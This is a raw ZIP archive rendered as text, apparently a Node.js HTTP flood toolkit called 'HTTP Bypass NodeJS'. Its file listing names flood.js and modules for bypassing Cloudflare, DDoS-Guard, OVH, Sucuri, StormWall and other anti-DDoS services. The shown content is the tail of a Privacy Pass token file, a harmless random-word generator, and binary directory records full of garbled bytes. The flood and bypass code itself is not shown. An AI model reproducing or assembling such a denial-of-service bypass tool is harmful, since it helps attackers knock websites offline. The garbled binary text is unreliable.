6,207,112,104,9,1,92,74,56,151,112,117,97,236,97,64,84,254,11,43,77,219,126,22,252,43,103,162],"point":"BCHdr2+HGXOb+514ftIl7fqRNkBHcRQyCEfLkm9q2rfBsNRRxwnx8lP2k1SDrTcazwYvBA43ZBIO3MKiHuoYeDQ=","blind":"0x55d9904ed01c79655c397282ff4ef2f4c9abfbf38a41c2be9bd88c71a23048f3"},{"data":[26,70,152,48,221,199,47,245,121,100,228,245,96,224,7,214,30,53,218,197,49,177,135,128,143,85,155,223,8,92,179,82],"point":"BN4f8EsvzzIRUWR9ADfk0iMsLl84VF6PYd2BwqVzsI/sLC7KY7yVPszH0eA390BjTAjr6I0Vkja9HpFYCy8HhPw=","blind":"0x4af53d8fceca95ac93f78ea1a320954a6b4d2db6ec2b610c186e7173b94c4599"},{"data":[160,185,250,248,109,180,189,242,215,87,181,68,248,246,165,155,27,53,22,70,201,119,175,185,97,145,191,157,124,175,69,123],"point":"BEEcgj5CZMVPYUyLebod0pY5W5moN+pAS0mVG21A8rpvFTa+UJSm6yKrTV9aER20HYDB4Dxnec2tjJudEwRrxC8=","blind":"0x47b0c3c35ec4eac5fd299c24e246bf4bca5cfa0bebc04a04b4ba74668073ca88"},{"data":[1,141,2,111,18,12,100,13,43,49,103,42,255,54,50,95,31,133,141,16,64,128,190,59,45,209,32,154,95,14,147,0],"point":"BI11xhVwfKyQRubJs7CL0B6W4QJl/7IlGOwd/XhilDCzDBuVoJWWRcl1gEbg0d8JcKZ0/mbU7H9X/RSR1Bx+r94=","blind":"0x1005d1b7beeaa7e6b71c68eda2c9003abfd5192264a49a6b3f7fd0d09482dfb5"},{"data":[10,19,100,114,37,71,220,215,163,95,248,206,88,204,243,243,42,212,66,203,234,80,250,180,240,119,255,112,163,133,133,14],"point":"BPuQhUw52FltuHk0kjfJHS5niSRFemZWf6Q6GoMUSw3rVGGcNmM9jboAmoajOW2JM7O57c2f+zgnVheNg1fAs3Y=","blind":"0xbeb86dd97bbe11e2c8c8366f900ea71a79dada01c9c84ba47ff83e0360f7708f"},{"data":[96,39,12,168,28,196,68,99,221,159,96,156,116,57,247,222,218,97,237,47,105,219,168,104,146,179,199,105,2,227,102,178],"point":"BCHrD1Is7OvjGRBIMD/tsV1wWNhp2108aftLzQhjatFBidJSnFk+2C17pt+y7vqpzMVqEhDbbEM1BRS0XNoTgcc=","blind":"0xd208b39bab85e2f4c4468293c8f86ffb673f561fa6db0802424b11a57b52a47b"},{"data":[12,251,234,200,50,69,0,58,127,209,31,68,147,94,129,210,195,159,204,82,188,0,175,172,21,115,253,7,107,118,95,108],"point":"BHWCxi7i5Y1/+sncnrcxtE7k6qfvjfabG3Gs25U5Jk4e77bkUxWX0p/ubrTJqbbyNqkN6ntJCjT5/Hw3k3Ro2CE=","blind":"0x250b6e577e7e18702a16e93484a3e8df3af4905dc30a840a029f723dabba107"},{"data":[157,80,95,72,250,175,214,52,134,113,74,186,207,214,174,247,199,195,175,182,194,130,50,213,123,178,94,129,3,56,108,238],"point":"BI+T/PWWRianbCsqEGkQ4XRGoyO6U7uJMSOSLp/pmHRnNj9iJ4VUTYN5nZtG3XCX0KanYOKgMbkTXhHV7kiIw9Q=","blind":"0x4cd7757bbfa658b5a014fc1149577199dd354f7f7170b7162b7445c80e34ca0d"},{"data":[174,11,247,76,89,182,136,190,10,163,202,160,148,1,10,58,105,97,175,40,198,89,16,95,24,179,254,219,228,149,106,17],"point":"BIivahnPEUoK0GVPFymX3oa40+DFdQN4zhx6IdvjjtDzqo6PWZHQrp58yDpsOH7379aEou2Cf7XK/Cv/KlxpszE=","blind":"0xb3fe971075debead7033223e9dda8a8a7ea578744140903d87bbd8e06551f01b"},{"data":[43,151,83,199,254,17,36,211,112,129,46,149,210,104,8,86,195,63,255,238,210,45,106,102,225,88,186,88,128,232,46,57],"point":"BP/Os7Mvyt7wVXS5U6mDLfJ7jlyGCi0pRuOovsp25RxLZpGtIVtZ/Yoadhc0bB3/ZFg63uk2LBnzpXQmi7qxNvI=","blind":"0xa6baa7388bcdd032fc30273fdf6ca54b3ca60d3f691aaa20d7a42e189d902198"},{"data":[70,108,47,129,57,159,245,184,212,126,92,121,30,55,236,115,125,145,107,79,53,223,70,174,229,223,255,13,125,158,175,194],"point":"BKGRo6qsyFV3RXam3Ypf3lpGcGVZa5ADqb2+FWe24wZ+nTt9Us+AxmjOwKpSFe+eABCnUFpFoDdwomLJrHyUYMk=","blind":"0x87dbe73a0c7ee2f5ec658b9045fb0caebc340da727ab821cff34cad1bf81a46d"},{"data":[159,35,137,148,190,208,235,19,153,249,179,247,48,15,107,204,153,224,230,0,157,165,108,216,55,221,254,222,197,84,161,87],"point":"BKlpaJHwOa1uXNGkjOCSb/9pvYR/QPTSqMhy83yGq+0TOMTRXfRhKS+MRIUJbCq8w0j0VZM+YXpZEj+R28gfHbA=","blind":"0xdfc75b2d549eb3ca3132b70a9f6d82ff7502b9e82afd113cef7655538f7e3eab"},{"data":[103,104,204,4,251,197,75,230,233,28,95,227,110,238,184,122,124,6,132,231,110,242,106,132,168,60,44,166,176,55,25,28],"point":"BG2QUlIXTW6tckk7pVJRJQLczIyGLKk8dp1NI2zv8X5AS9wdgtrpk/U6aTF3nqWwlW8jg+fR5PezwEZOA5gJBys=","blind":"0xa474113b64bf5d719ea5c4a35aa988873acf851b62dce6e837d7eadeb5e84016"},{"data":[13,209,2,45,137,75,11,14,208,130,238,101,63,129,4,137,3,29,200,48,112,99,203,133,219,41,188,229,69,16,218,225],"point":"BIZ7AFoRhIUU3MjNPYYMwueSPXnnzy5kFJD7aGai4FceKhYGVpbt1rBmlNn5VjQJJCHfUThEVmRKER4hlACdcNY=","blind":"0xb064b36f2d0e051734a01260de4ee3be15fc62e9a9873b63696564fe8c0b2a39"},{"data":[40,168,158,12,11,51,82,16,139,10,94,159,131,115,156,16,117,54,96,98,81,19,90,111,159,96,147,244,49,32,115,57],"point":"BD/tW61TAJJOkaR+Lvk8DyeEjcw/2trF3/LT/TMYJ/ZDlwnIxOqIvy0wmNP1yPP2sENfMAazHT1V3KII2dvNQY8=","blind":"0x81f4a18de9d62ab0e92279a8d9cb9ccd987bb22646d69299d38cd725999d6db8"}]PK
J�O�3�*%Q%Q"HTTP Bypass NodeJS/random-words.jsvar wordList = [
    // Borrowed from xkcd password generator which borrowed it from wherever
    "ability","able","aboard","about","above","accept","accident","according",
    "account","accurate","acres","across","act","action","active","activity",
    "actual","actually","add","addition","additional","adjective","adult","adventure",
    "advice","affect","afraid","after","afternoon","again","against","age",
    "ago","agree","ahead","aid","air","airplane","alike","alive",
    "all","allow","almost","alone","along","aloud","alphabet","already",
    "also","although","am","among","amount","ancient","angle","angry",
    "animal","announced","another","answer","ants","any","anybody","anyone",
    "anything","anyway","anywhere","apart","apartment","appearance","apple","applied",
    "appropriate","are","area","arm","army","around","arrange","arrangement",
    "arrive","arrow","art","article","as","aside","ask","asleep",
    "at","ate","atmosphere","atom","atomic","attached","attack","attempt",
    "attention","audience","author","automobile","available","average","avoid","aware",
    "away","baby","back","bad","badly","bag","balance","ball",
    "balloon","band","bank","bar","bare","bark","barn","base",
    "baseball","basic","basis","basket","bat","battle","be","bean",
    "bear","beat","beautiful","beauty","became","because","become","becoming",
    "bee","been","before","began","beginning","begun","behavior","behind",
    "being","believed","bell","belong","below","belt","bend","beneath",
    "bent","beside","best","bet","better","between","beyond","bicycle",
    "bigger","biggest","bill","birds","birth","birthday","bit","bite",
    "black","blank","blanket","blew","blind","block","blood","blow",
    "blue","board","boat","body","bone","book","border","born",
    "both","bottle","bottom","bound","bow","bowl","box","boy",
    "brain","branch","brass","brave","bread","break","breakfast","breath",
    "breathe","breathing","breeze","brick","bridge","brief","bright","bring",
    "broad","broke","broken","brother","brought","brown","brush","buffalo",
    "build","building","built","buried","burn","burst","bus","bush",
    "business","busy","but","butter","buy","by","cabin","cage",
    "cake","call","calm","came","camera","camp","can","canal",
    "cannot","cap","capital","captain","captured","car","carbon","card",
    "care","careful","carefully","carried","carry","case","cast","castle",
    "cat","catch","cattle","caught","cause","cave","cell","cent",
    "center","central","century","certain","certainly","chain","chair","chamber",
    "chance","change","changing","chapter","character","characteristic","charge","chart",
    "check","cheese","chemical","chest","chicken","chief","child","children",
    "choice","choose","chose","chosen","church","circle","circus","citizen",
    "city","class","classroom","claws","clay","clean","clear","clearly",
    "climate","climb","clock","close","closely","closer","cloth","clothes",
    "clothing","cloud","club","coach","coal","coast","coat","coffee",
    "cold","collect","college","colony","color","column","combination","combine",
    "come","comfortable","coming","command","common","community","company","compare",
    "compass","complete","completely","complex","composed","composition","compound","concerned",
    "condition","congress","connected","consider","consist","consonant","constantly","construction",
    "contain","continent","continued","contrast","control","conversation","cook","cookies",
    "cool","copper","copy","corn","corner","correct","correctly","cost",
    "cotton","could","count","country","couple","courage","course","court",
    "cover","cow","cowboy","crack","cream","create","creature","crew",
    "crop","cross","crowd","cry","cup","curious","current","curve",
    "customs","cut","cutting","daily","damage","dance","danger","dangerous",
    "dark","darkness","date","daughter","dawn","day","dead","deal",
    "dear","death","decide","declared","deep","deeply","deer","definition",
    "degree","depend","depth","describe","desert","design","desk","detail",
    "determine","develop","development","diagram","diameter","did","die","differ",
    "difference","different","difficult","difficulty","dig","dinner","direct","direction",
    "directly","dirt","dirty","disappear","discover","discovery","discuss","discussion",
    "disease","dish","distance","distant","divide","division","do","doctor",
    "does","dog","doing","doll","dollar","done","donkey","door",
    "dot","double","doubt","down","dozen","draw","drawn","dream",
    "dress","drew","dried","drink","drive","driven","driver","driving",
    "drop","dropped","drove","dry","duck","due","dug","dull",
    "during","dust","duty","each","eager","ear","earlier","early",
    "earn","earth","easier","easily","east","easy","eat","eaten",
    "edge","education","effect","effort","egg","eight","either","electric",
    "electricity","element","elephant","eleven","else","empty","end","enemy",
    "energy","engine","engineer","enjoy","enough","enter","entire","entirely",
    "environment","equal","equally","equator","equipment","escape","especially","essential",
    "establish","even","evening","event","eventually","ever","every","everybody",
    "everyone","everything","everywhere","evidence","exact","exactly","examine","example",
    "excellent","except","exchange","excited","excitement","exciting","exclaimed","exercise",
    "exist","expect","experience","experiment","explain","explanation","explore","express",
    "expression","extra","eye","face","facing","fact","factor","factory",
    "failed","fair","fairly","fall","fallen","familiar","family","famous",
    "far","farm","farmer","farther","fast","fastened","faster","fat",
    "father","favorite","fear","feathers","feature","fed","feed","feel",
    "feet","fell","fellow","felt","fence","few","fewer","field",
    "fierce","fifteen","fifth","fifty","fight","fighting","figure","fill",
    "film","final","finally","find","fine","finest","finger","finish",
    "fire","fireplace","firm","first","fish","five","fix","flag",
    "flame","flat","flew","flies","flight","floating","floor","flow",
    "flower","fly","fog","folks","follow","food","foot","football",
    "for","force","foreign","forest","forget","forgot","forgotten","form",
    "former","fort","forth","forty","forward","fought","found","four",
    "fourth","fox","frame","free","freedom","frequently","fresh","friend",
    "friendly","frighten","frog","from","front","frozen","fruit","fuel",
    "full","fully","fun","function","funny","fur","furniture","further",
    "future","gain","game","garage","garden","gas","gasoline","gate",
    "gather","gave","general","generally","gentle","gently","get","getting",
    "giant","gift","girl","give","given","giving","glad","glass",
    "globe","go","goes","gold","golden","gone","good","goose",
    "got","government","grabbed","grade","gradually","grain","grandfather","grandmother",
    "graph","grass","gravity","gray","great","greater","greatest","greatly",
    "green","grew","ground","group","grow","grown","growth","guard",
    "guess","guide","gulf","gun","habit","had","hair","half",
    "halfway","hall","hand","handle","handsome","hang","happen","happened",
    "happily","happy","harbor","hard","harder","hardly","has","hat",
    "have","having","hay","he","headed","heading","health","heard",
    "hearing","heart","heat","heavy","height","held","hello","help",
    "helpful","her","herd","here","herself","hidden","hide","high",
    "higher","highest","highway","hill","him","himself","his","history",
    "hit","hold","hole","hollow","home","honor","hope","horn",
    "horse","hospital","hot","hour","house","how","however","huge",
    "human","hundred","hung","hungry","hunt","hunter","hurried","hurry",
    "hurt","husband","ice","idea","identity","if","ill","image",
    "imagine","immediately","importance","important","impossible","improve","in","inch",
    "include","including","income","increase","indeed","independent","indicate","individual",
    "industrial","industry","influence","information","inside","instance","instant","instead",
    "instrument","interest","interior","into","introduced","invented","involved","iron",
    "is","island","it","its","itself","jack","jar","jet",
    "job","join","joined","journey","joy","judge","jump","jungle",
    "just","keep","kept","key","kids","kill","kind","kitchen",
    "knew","knife","know","knowledge","known","label","labor","lack",
    "lady","laid","lake","lamp","land","language","large","larger",
    "largest","last","late","later","laugh","law","lay","layers",
    "lead","leader","leaf","learn","least","leather","leave","leaving",
    "led","left","leg","length","lesson","let","letter","level",
    "library","lie","life","lift","light","like","likely","limited",
    "line","lion","lips","liquid","list","listen","little","live",
    "living","load","local","locate","location","log","lonely","long",
    "longer","look","loose","lose","loss","lost","lot","loud",
    "love","lovely","low","lower","luck","lucky","lunch","lungs",
    "lying","machine","machinery","mad","made","magic","magnet","mail",
    "main","mainly","major","make","making","man","managed","manner",
    "manufacturing","many","map","mark","market","married","mass","massage",
    "master","material","mathematics","matter","may","maybe","me","meal",
    "mean","means","meant","measure","meat","medicine","meet","melted",
    "member","memory","men","mental","merely","met","metal","method",
    "mice","middle","might","mighty","mile","military","milk","mill",
    "mind","mine","minerals","minute","mirror","missing","mission","mistake",
    "mix","mixture","model","modern","molecular","moment","money","monkey",
    "month","mood","moon","more","morning","most","mostly","mother",
    "motion","motor","mountain","mouse","mouth","move","movement","movie",
    "moving","mud","muscle","music","musical","must","my","myself",
    "mysterious","nails","name","nation","national","native","natural","naturally",
    "nature","near","nearby","nearer","nearest","nearly","necessary","neck",
    "needed","needle","needs","negative","neighbor","neighborhood","nervous","nest",
    "never","new","news","newspaper","next","nice","night","nine",
    "no","nobody","nodded","noise","none","noon","nor","north",
    "nose","not","note","noted","nothing","notice","noun","now",
    "number","numeral","nuts","object","observe","obtain","occasionally","occur",
    "ocean","of","off","offer","office","officer","official","oil",
    "old","older","oldest","on","once","one","only","onto",
    "open","operation","opinion","opportunity","opposite","or","orange","orbit",
    "order","ordinary","organization","organized","origin","original","other","ought",
    "our","ourselves","out","outer","outline","outside","over","own",
    "owner","oxygen","pack","package","page","paid","pain","paint",
    "pair","palace","pale","pan","paper","paragraph","parallel","parent",
    "park","part","particles","particular","particularly","partly","parts","party",
    "pass","passage","past","path","pattern","pay","peace","pen",
    "pencil","people","per","percent","perfect","perfectly","perhaps","period",
    "person","personal","pet","phrase","physical","piano","pick","picture",
    "pictured","pie","piece","pig","pile","pilot","pine","pink",
    "pipe","pitch","place","plain","plan","plane","planet","planned",
    "planning","plant","plastic","plate","plates","play","pleasant","please",
    "pleasure","plenty","plural","plus","pocket","poem","poet","poetry",
    "point","pole","police","policeman","political","pond","pony","pool",
    "poor","popular","population","porch","port","position","positive","possible",
    "possibly","post","pot","potatoes","pound","pour","powder","power",
    "powerful","practical","practice","prepare","present","president","press","pressure",
    "pretty","prevent","previous","price","pride","primitive","principal","principle",
    "printed","private","prize","probably","problem","process","produce","product",
    "production","program","progress","promised","proper","properly","property","protection",
    "proud","prove","provide","public","pull","pupil","pure","purple",
    "purpose","push","put","putting","quarter","queen","question","quick",
    "quickly","quiet","quietly","quite","rabbit","race","radio","railroad",
    "rain","raise","ran","ranch","range","rapidly","rate","rather",
    "raw","rays","reach","read","reader","ready","real","realize",
    "rear","reason","recall","receive","recent","recently","recognize","record",
    "red","refer","refused","region","regular","related","relationship","religious",
    "remain","remarkable","remember","remove","repeat","replace","replied","report",
    "represent","require","research","respect","rest","result","return","review",
    "rhyme","rhythm","rice","rich","ride","riding","right","ring",
    "rise","rising","river","road","roar","rock","rocket","rocky",
    "rod","roll","roof","room","root","rope","rose","rough",
    "round","route","row","rubbed","rubber","rule","ruler","run",
    "running","rush","sad","saddle","safe","safety","said","sail",
    "sale","salmon","salt","same","sand","sang","sat","satellites",
    "satisfied","save","saved","saw","say","scale","scared","scene",
    "school","science","scientific","scientist","score","screen","sea","search",
    "season","seat","second","secret","section","see","seed","seeing",
    "seems","seen","seldom","select","selection","sell","send","sense",
    "sent","sentence","separate","series","serious","serve","service","sets",
    "setting","settle","settlers","seven","several","shade","shadow","shake",
    "shaking","shall","shallow","shape","share","sharp","she","sheep",
    "sheet","shelf","shells","shelter","shine","shinning","ship","shirt",
    "shoe","shoot","shop","shore","short","shorter","shot","should",
    "shoulder","shout","show","shown","shut","sick","sides","sight",
    "sign","signal","silence","silent","silk","silly","silver","similar",
    "simple","simplest","simply","since","sing","single","sink","sister",
    "sit","sitting","situation","six","size","skill","skin","sky",
    "slabs","slave","sleep","slept","slide","slight","slightly","slip",
    "slipped","slope","slow","slowly","small","smaller","smallest","smell",
    "smile","smoke","smooth","snake","snow","so","soap","social",
    "society","soft","softly","soil","solar","sold","soldier","solid",
    "solution","solve","some","somebody","somehow","someone","something","sometime",
    "somewhere","son","song","soon","sort","sound","source","south",
    "southern","space","speak","special","species","specific","speech","speed",
    "spell","spend","spent","spider","spin","spirit","spite","split",
    "spoken","sport","spread","spring","square","stage","stairs","stand",
    "standard","star","stared","start","state","statement","station","stay",
    "steady","steam","steel","steep","stems","step","stepped","stick",
    "stiff","still","stock","stomach","stone","stood","stop","stopped",
    "store","storm","story","stove","straight","strange","stranger","straw",
    "stream","street","strength","stretch","strike","string","strip","strong",
    "stronger","struck","structure","struggle","stuck","student","studied","studying",
    "subject","substance","success","successful","such","sudden","suddenly","sugar",
    "suggest","suit","sum","summer","sun","sunlight","supper","supply",
    "support","suppose","sure","surface","surprise","surrounded","swam","sweet",
    "swept","swim","swimming","swing","swung","syllable","symbol","system",
    "table","tail","take","taken","tales","talk","tall","tank",
    "tape","task","taste","taught","tax","tea","teach","teacher",
    "team","tears","teeth","telephone","television","tell","temperature","ten",
    "tent","term","terrible","test","than","thank","that","thee",
    "them","themselves","then","theory","there","therefore","these","they",
    "thick","thin","thing","think","third","thirty","this","those",
    "thou","though","thought","thousand","thread","three","threw","throat",
    "through","throughout","throw","thrown","thumb","thus","thy","tide",
    "tie","tight","tightly","till","time","tin","tiny","tip",
    "tired","title","to","tobacco","today","together","told","tomorrow",
    "tone","tongue","tonight","too","took","tool","top","topic",
    "torn","total","touch","toward","tower","town","toy","trace",
    "track","trade","traffic","trail","train","transportation","trap","travel",
    "treated","tree","triangle","tribe","trick","tried","trip","troops",
    "tropical","trouble","truck","trunk","truth","try","tube","tune",
    "turn","twelve","twenty","twice","two","type","typical","uncle",
    "under","underline","understanding","unhappy","union","unit","universe","unknown",
    "unless","until","unusual","up","upon","upper","upward","us",
    "use","useful","using","usual","usually","valley","valuable","value",
    "vapor","variety","various","vast","vegetable","verb","vertical","very",
    "vessels","victory","view","village","visit","visitor","voice","volume",
    "vote","vowel","voyage","wagon","wait","walk","wall","want",
    "war","warm","warn","was","wash","waste","watch","water",
    "wave","way","we","weak","wealth","wear","weather","week",
    "weigh","weight","welcome","well","went","were","west","western",
    "wet","whale","what","whatever","wheat","wheel","when","whenever",
    "where","wherever","whether","which","while","whispered","whistle","white",
    "who","whole","whom","whose","why","wide","widely","wife",
    "wild","will","willing","win","wind","window","wing","winter",
    "wire","wise","wish","with","within","without","wolf","women",
    "won","wonder","wonderful","wood","wooden","wool","word","wore",
    "work","worker","world","worried","worry","worse","worth","would",
    "wrapped","write","writer","writing","written","wrong","wrote","yard",
    "year","yellow","yes","yesterday","yet","you","young","younger",
    "your","yourself","youth","zero","zebra","zipper","zoo","zulu"
  ];
  
  function words(options) {
  
    function word() {
      if (options && options.maxLength > 1) {
        return generateWordWithMaxLength();
      } else {
        return generateRandomWord();
      }
    }
  
    function generateWordWithMaxLength() {
      let rightSize = false;
      let wordUsed;
      while (!rightSize) {  
        wordUsed = generateRandomWord();
        if(wordUsed.length <= options.maxLength) {
          rightSize = true;
        }
  
      }
      return wordUsed;
    }
  
    function generateRandomWord() {
      return wordList[randInt(wordList.length)];
    }
  
    function randInt(lessThan) {
      return Math.floor(Math.random() * lessThan);
    }
  
    // No arguments = generate one word
    if (typeof(options) === 'undefined') {
      return word();
    }
  
    // Just a number = return that many words
    if (typeof(options) === 'number') {
      options = { exactly: options };
    }
  
    // options supported: exactly, min, max, join
    if (options.exactly) {
      options.min = options.exactly;
      options.max = options.exactly;
    }
    
    // not a number = one word par string
    if (typeof(options.wordsPerString) !== 'number') {
      options.wordsPerString = 1;
    }
  
    //not a function = returns the raw word
    if (typeof(options.formatter) !== 'function') {
      options.formatter = (word) => word;
    }
  
    //not a string = separator is a space
    if (typeof(options.separator) !== 'string') {
      options.separator = ' ';
    }
  
    var total = options.min + randInt(options.max + 1 - options.min);
    var results = [];
    var token = '';
    var relativeIndex = 0;
  
    for (var i = 0; (i < total * options.wordsPerString); i++) {
      if (relativeIndex === options.wordsPerString - 1) {
        token += options.formatter(word(), relativeIndex);
      }
      else {
        token += options.formatter(word(), relativeIndex) + options.separator;
      }
      relativeIndex++;
      if ((i + 1) % options.wordsPerString === 0) {
        results.push(token);
        token = ''; 
        relativeIndex = 0;
      }
     
    }
    if (options.join) {
      results = results.join(options.join);
    }
  
    return results;
  }
  
  module.exports = words;
  // Export the word list as it is often useful
  words.wordList = wordList;PK?|��P$HTTP Bypass NodeJS/
 ��!��	�Ow���	�� ��	�PK?J�O$1HTTP Bypass NodeJS/bypasses/
 ��$�����$�����"#���PK?
J�OLw�iTT"$ kHTTP Bypass NodeJS/bypasses/aes.js
 ��$�����$������#���PK?
J�OV�_h�5�5&$ �THTTP Bypass NodeJS/bypasses/bfcrypt.js
 �)$����)$���{|
$���PK?
J�O�0H
##*$ ƊHTTP Bypass NodeJS/bypasses/blazingfast.js
 �6($����6($���/�$���PK?
J�O��q���-$ 1�HTTP Bypass NodeJS/bypasses/browser_engine.js
 T�5$���T�5$�����-$���PK?
J�O5�D�z%z%)$ /�HTTP Bypass NodeJS/bypasses/cloudflare.js
 �eC$����eC$���u�:$���PK?
J�O��](($ ��HTTP Bypass NodeJS/bypasses/ddosguard.js
 .�Q$���.�Q$���ׁI$���PK?
J�O-��}}$$ >�HTTP Bypass NodeJS/bypasses/index.js
 �X_$����X_$���`�V$���PK?
J�Oj�{��"$ ��HTTP Bypass NodeJS/bypasses/ovh.js
 A�l$���A�l$����bd$���PK?
J�Ot���		($ &�HTTP Bypass NodeJS/bypasses/pipeguard.js
 ��y$�����y$���}�q$���PK?
J�O���eP�P�*$ ��HTTP Bypass NodeJS/bypasses/privacypass.js
 ��$�����$�����~$���PK?
J�O���xX#X#($ #�HTTP Bypass NodeJS/bypasses/stormwall.js
 }s�$���}s�$����$���PK?
J�O՛�'��%$ ��HTTP Bypass NodeJS/bypasses/sucuri.js
 k�$���k�$�����$���PK?
K�O0���(�($ ��HTTP Bypass NodeJS/client.js
 d�<%���d�<%���n)1%���PK?
K�O`�+(d(d$ �#HTTP Bypass NodeJS/flood.js
 2�%%���2�%%���Z%���PK?
K�O�l�'��$ ��HTTP Bypass NodeJS/main.js
 @%���@%���	?%���PK?
J�OX��'�}�}$$ �HTTP Bypass NodeJS/package-lock.json
 ��%�����%���~��$���PK?
J�O��@�9�9#$ HTTP Bypass NodeJS/privacypass.json
 *��$���*��$�����$���PK?
J�O�3�*%Q%Q"$ �HHTTP Bypass NodeJS/random-words.js
 5��$���5��$����_�$���PK&	b�